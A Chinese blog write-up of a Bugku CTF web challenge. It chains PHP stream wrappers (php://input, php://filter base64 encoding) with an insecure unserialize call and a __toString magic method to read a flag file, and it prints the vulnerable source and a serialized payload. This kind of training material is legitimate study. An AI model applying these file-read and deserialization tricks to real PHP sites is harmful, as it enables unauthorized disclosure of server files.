zoukankan      html  css  js  c++  java
  • http://www.bugku.com:Bugku——PHP伪协议+魔幻函数+序列化的综合应用(http://120.24.86.145:8006/test1/)

      这一道题目,幸好俺有基础知识护体,不然还真干不掉。
     
      首先,登录看题目,取消隐藏代码的注释。可知可输入三个参数txt、file和password并进行逻辑判断;应该让txt==‘welcome to the bugkuctf’,让file=hint.php,但输入没反应(原因是file_get_contents()是将一个文件读进去,其中一种方法是POST提交,不是GET参数哦),思考可以通过伪协议,借用第三方数据做参数,嘻嘻。
     
    1.伪协议php://input和php://filter+魔幻函数
      官方文档中说,php://input是一个可以访问 请求的原始数据 的只读流,emmmmmmmm。此处使用它读取请求数据包body的内容
      php://filter被设计用于数据打开时的筛选过滤应用,后可以加resource、read和write选项。此处使用它来转译数据。
      启程--
      上图呢,通过php://input获取请求包中body信息(一会儿构造),通过php://filter/read=convert.base64-encode/resource=hint.php获取hint.php文件的base64编码内容,为什么编码捏,因为在网页直接看不到php内容哦。。。。拦截到包后,增加了内容,如下图所示,反馈的一坨结果就是编码内容。
      解码后,清爽多了:
    <?php  
    class Flag{//flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file);
                echo "<br>";
            return ("good");
            }  
        }  
    }  
    ?>  
      这就是hint.php的内容,emmmmmmmm看见没,里面提示flag.php,引导说明这里面会有flag。现在的逻辑是,通过主页面(默认是index.php)可搜索到hint.php,通过hint.php极有可能获取到flag.php中的flag信息。
      hint.php中里是一个类,而且里面居然有魔幻函数__tostring(),它在类创建的对象为字符串时会调用,怎样可以将一个对象变成字符串呢?用序列化呗。
     
    2.序列化与反序列化
      在本地创建一个PHP文件,内容为
    <?php  
    class Flag{//flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file);
                echo "<br>";
            return ("good");
            }  
        }  
    }  
    $f=new Flag();
    $f->file=flag.php;
    echo serialize($f);
    ?>  
      序列化的结果为
    O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
      但这个结果怎么传递捏。
     
      其实,主界面默认是index.php,而我们并看不到全面的代码,所以捏,先base64编码它再看,嘿嘿。
    emmmmmmmmmm,界面内容是这样的,关键点直接在代码中gank。
    <?php  
    $txt = $_GET["txt"];  
    $file = $_GET["file"];  
    $password = $_GET["password"];    
    if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
        echo "hello friend!<br>";  
        if(preg_match("/flag/",$file)){
            echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦";//这儿说明了不能直接在主界面中查看flag.php内容-。-
            exit();  
        }else{  //看到了,这儿反序列并输出了flag对象中的输出值,其中就有flag.php文件的内容。
            include($file);   
            $password = unserialize($password);  
            echo $password;  
        }  
    }else{  
        echo "you are not the number of bugku ! ";  
    }    
    ?>    
    <!--  
    $user = $_GET["txt"];  
    $file = $_GET["file"];  
    $pass = $_GET["password"];    
    if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
        echo "hello admin!<br>";  
        include($file); //hint.php  
    }else{  
        echo "you are not admin ! ";  
    }  
    -->  
      好了,都清楚了,看看操作和结果吧,
     
    hieahiea-。-
     
     
     
  • 相关阅读:
    在X++中编译并执行C#脚本
    XML的序列化读取方式
    在Dynamics AX 2009中调用Crystal Reports
    AspDotNetStorefront中事件处理页面开发的注意事项
    WCF服务开发中的SecurityNegotiationException异常
    Visual Studio 2010 RC版发布
    初探.NET 4.0中的Entity Framework
    入学十年
    HP dv1606tn 笔记本安装Windows 7经验一则
    在VS.NET2008中使用并发布Crystal Reports ActiveX组件
  • 原文地址:https://www.cnblogs.com/HYWZ36/p/10297281.html
Copyright © 2011-2022 走看看